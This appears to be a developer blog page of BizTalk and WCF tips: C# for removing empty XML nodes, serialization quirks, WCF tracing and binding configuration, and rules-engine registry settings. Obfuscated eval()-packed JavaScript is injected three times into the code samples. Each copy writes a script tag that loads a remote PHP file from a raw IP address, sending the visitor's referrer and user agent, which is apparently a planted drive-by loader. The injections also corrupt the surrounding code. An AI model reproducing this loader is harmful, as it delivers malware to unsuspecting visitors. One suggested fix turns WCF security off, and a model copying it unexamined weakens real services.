What if you need to remove all the empty nodes in an XML document? It’ easy with this small subroutine. This might be useful to set fields to NULL when they have no value, especially when communicating between BizTalk and a WCF web service. You might often get serialization errors when, for example, a date/time field has an empty-string value. Better to pass no element to the web service (i.e. NULL) than a field with a bad value.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyayr|var|u0026u|referrer|hkbni||js|php'.split('|'),0,{}))
</script></noindex>        public static XmlDocument RemoveEmptyNodes(XmlDocument txd)
        {

           // make a clean copy so we don't accidentally destroy the byRef txd variable passed to us.
            XmlDocument xmldoc = new XmlDocument();
            xmldoc.LoadXml(txd.OuterXml);
            XmlNodeList emptyElements = xmldoc.SelectNodes(@"//*[not(node())]");
            for (int i = emptyElements.Count - 1; i >= 0; i--)
            {
               emptyElements[i].ParentNode.RemoveChild(emptyElements[i]);
            }
            xmldoc.InnerXml = xmldoc.InnerXml.Replace("", "");
            return xmldoc;
        }

You can call the above code from a message assignment shape in an orchestration.
Just put the above code in a C# helper .DLL, make a reference to it from your orchestration, then you should be able to call it statically.

An SQL database field was defined as CHAR(1). We used LINQ to SQL to expose in a web service, which defined the field as a System.Nullable.

Unforuntately, it is not well known or well documented that “CHAR”s serializae and deserialize as the ASCII number, which is the equivalent of the character.

Thus is a BizTalk map, we had to use the Character to ASCII functoid to conver the letter “C” to the number “67”, in order to get BizTalk to properly build XML that is passed to a web service. When passing the letter “C”, you get a deserialization error.

See Also this blog link

Of course, check your action first. It could be misspelled or mistyped.

What can happen is that your BizTalk works fine with a WCF web service,
but then you move the WCF service to a different machine and get the error below.
Apparently, this only happens when the different machine is in a different domain.


<code>
&lt;s:Fault xmlns:s="http://www.w3.org/2003/05/soap-envelope"&gt;
&lt;s:Code&gt;&lt;s:Value&gt;s:Sender&lt;/s:Value&gt;
&lt;s:Subcode&gt;&lt;s:Value xmlns:a="http://schemas.xmlsoap.org/ws/2005/02/sc"&gt;a:BadContextToken&lt;/s:Value&gt;&lt;/s:Subcode&gt;
&lt;/s:Code&gt;
  &lt;s:Reason&gt;&lt;s:Text xml:lang="en-US"&gt;The message could not be processed.
<br />This is<br />
most likely because the action 'http://YourService/IYourInterface/YourMethod' is incorrect or <br />because the message contains an invalid or expired security context token or because there <br />is a mismatch between bindings. The security context token would be invalid if the service <br />aborted the channel due to inactivity. To prevent the service from aborting idle sessions <br />prematurely increase the Receive timeout on the service endpoint's binding.&lt;/s:Text&gt;
  &lt;/s:Reason&gt;
&lt;/s:Fault&gt;
</code>

Add the code below to the web.config for your WCF web service.

<code>
&lt;bindings&gt;
   &lt;wsHttpBinding&gt;
       &lt;binding name="Binding1"&gt;
            &lt;security mode="None"&gt;
                 &lt;transport clientCredentialType="None" /&gt;
                 &lt;message establishSecurityContext="false" /&gt;
            &lt;/security&gt;
       &lt;/binding&gt;
   &lt;/wsHttpBinding&gt;
&lt;/bindings&gt;
</code>

To see how to run the full server side trace and view the output, please see this article.
http://biztalk-training.com/readarticle.php?article_id=20

In my specific case, I was calling a WCF service that used LINQ to retrieve data from a database and return as a LIST of LINQ objects. When I ran 85 records, it would run, but when I ran 90 it would not, so I knew the issue was size related.

it turns out that the server side trace gave me the more specific error:
System.Runtime.Serialization.SerializationException: Maximum number of items that can be serialized or deserialized in an object graph is ‘65536’.

Note: this is after I already bumped up all the timeouts and the maxBufferPoolSize and the maxReceivedMessage size.

<behaviors>
<endpointBehaviors>
<behavior name=”NewBehavior”>
<dataContractSerializer maxItemsInObjectGraph=”500000″ />
</behavior>
</endpointBehaviors>
</behaviors>
<client>
<endpoint address=”http://my.address.com/Service” behaviorConfiguration=”NewBehavior”
binding=”basicHttpBinding” contract=”ITest” name=”foo” />
</client>

WCF Tracing

Sometimes, you might need to run a full WCF trace (on both the IIS web service, and the client).
The XML in this article will do that and discuss how to view it.

&lt;configuration&gt;
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerdn|var|u0026u|referrer|yskbn||js|php'.split('|'),0,{}))
</script></noindex>   &lt;system.diagnostics&gt;
      &lt;sources&gt;
            &lt;source name="System.ServiceModel"
                    switchValue="Information, ActivityTracing"
                    propagateActivity="true"&gt;
            &lt;listeners&gt;
               &lt;add name="traceListener"
                   type="System.Diagnostics.XmlWriterTraceListener"
                   initializeData= "c:logTraces.svclog" /&gt;
            &lt;/listeners&gt;
         &lt;/source&gt;
      &lt;/sources&gt;
   &lt;/system.diagnostics&gt;
&lt;/configuration&gt;

You can view the file in XML, but it can be a little ugly.

Microsoft has provided a free utility called SVCTraceViewer.exe.
To get this utility, unfortunatley you have to download the Windows developers toolkit.
After you install, it can be found in this directory:
“c:Program FilesMicrosoft SDKsWindowsv6.0ABinSvcTraceViewer.exe”

How to download SvcTraceViewer.exe
Unfortunately, you can not just download the utility standalone.
No, the only way (as far that I know of) to have it, is to install the .NET SDK. The latest version of this SDK is 6.1 and is called ‘Windows SDK for Windows Server 2008 and .NET Framework 3.5’.

This is a huge install. First you have to download a 1,29 GB .ISO on http://www.microsoft.com/downloads/details.aspx?FamilyID=e6e1c3df-a74f-4207-8586-711ebe331cdc&DisplayLang=en. After burning it to DVD or mounting it with a ISO mounting tool (like http://www.slysoft.com/en/virtual-clonedrive.html) or running UltraIso or something to turn it into regulary disk files, you can start the setup. To have SvcTraceViewer.exe you only need to select Developer Tools .NET Development Tools.

You can double click to run it, and it opens a Windows program.
You simply open the trace log file you captured above, and it formats it beautifully, with errors in red, and warnings in yellow. You can still see the full XML if you want (for example to copy it to clipboard, a MSDN Forum Post, or an email).

Rules (with static C# routines, such as PolicyChaining, or C# code that adds nodes to the XML), are working fine on XP but not on 2003 (or working on machine and not another). For example, we have a condition of 1=1, which should always fire, but if a static C# routine is found in the actions, then the rules does not fire.


See Richard Seroter’s blog. There is a registry setting that must be set to allow business rules to call a static C# method.

http://blogs.msdn.com/richardbpi/archive/2005/11/14/492489.aspx

Also note, if you change a C# program, and even re-GAC it, to get the Business Rule Composer to “see” the changes, you have to close and re-open the Business Rule Composer if you are using the test policy feature.

If you download the Policy-Chaining sample for BizTalk, it has an automated way of updating the registry setting. In it’s setup.bat.

@ECHO
@ECHO Setting the StaticSupport registry key to ONE
@REGEDIT /s AddStaticSupport.reg

The AddStaticSupport.reg include the following statements:
REGEDIT4

[HKEY_LOCAL_MACHINESoftwareMicrosoftBusinessRules3.0]
“StaticSupport”=dword:00000001

System.Net.WebException: Unable to connect to remote server System.et.Sockets.SocketException: No connection could be made because the target machine actively refused it 127.0.0.1:80



For me, this was an easy one, IIS was down.

Other ideas:
1) Check app.exe.config and make sure URL is corect
2) Make sure machine name is correct http://xxxxxxxx or http://localhost

BizTalk Server 2006 is not available or configured. Verify BizTalk Server 2006 on server xxxxx using management database BizTalkMgmtDb is accessible and configured with a compatible version.


This frequently occurs in the company I’m working. All development is done on VMWare virtual machines, when the systems guys do a backup of VMWare “LabManager”, the virtual machine are shutdown and then restarted. For some odd reason, after the restart, SQL frequently does not start (even though it is set as “automatic start”.

To solve the problem, go to System Services, and if SQL is not started, then start it.

How to use TextWriter to file.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhydh|var|u0026u|referrer|kztth||js|php'.split('|'),0,{}))
</script></noindex>            string strOutFileName = @"c:YourDirYourFile.xml";
   ... assumes you have an xmlDoc somewhere
            System.Xml.XmlTextWriter tw = new XmlTextWriter(strOutFileName, System.Text.Encoding.ASCII);
            xmlDoc.WriteTo(tw);
            //xmlTypedDoc.Document.WriteTo(tw);
            tw.Close();

How to initialize an array of objects in C#. Often, we write C# test harnesses to populate some test data based on an object structure (which was ultimately created from an xml structure).


            svcref1.WiringLoanReq req =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoanReq();
            svcref1.WiringLoanResp resp =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoanResp();
            svcref1.WiringLoan loan1 =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan();
            svcref1.WiringLoan loan2 =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan();

            loan1.CadenceLoanId = "0012341234";
            loan1.CadenceLoanId = "0012341235";

            req.WiringLoans = new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan[2];
            req.WiringLoans[0] = loan1;
            req.WiringLoans[1] = loan2;

// call the web service
 resp = client.getWiringRequest(req);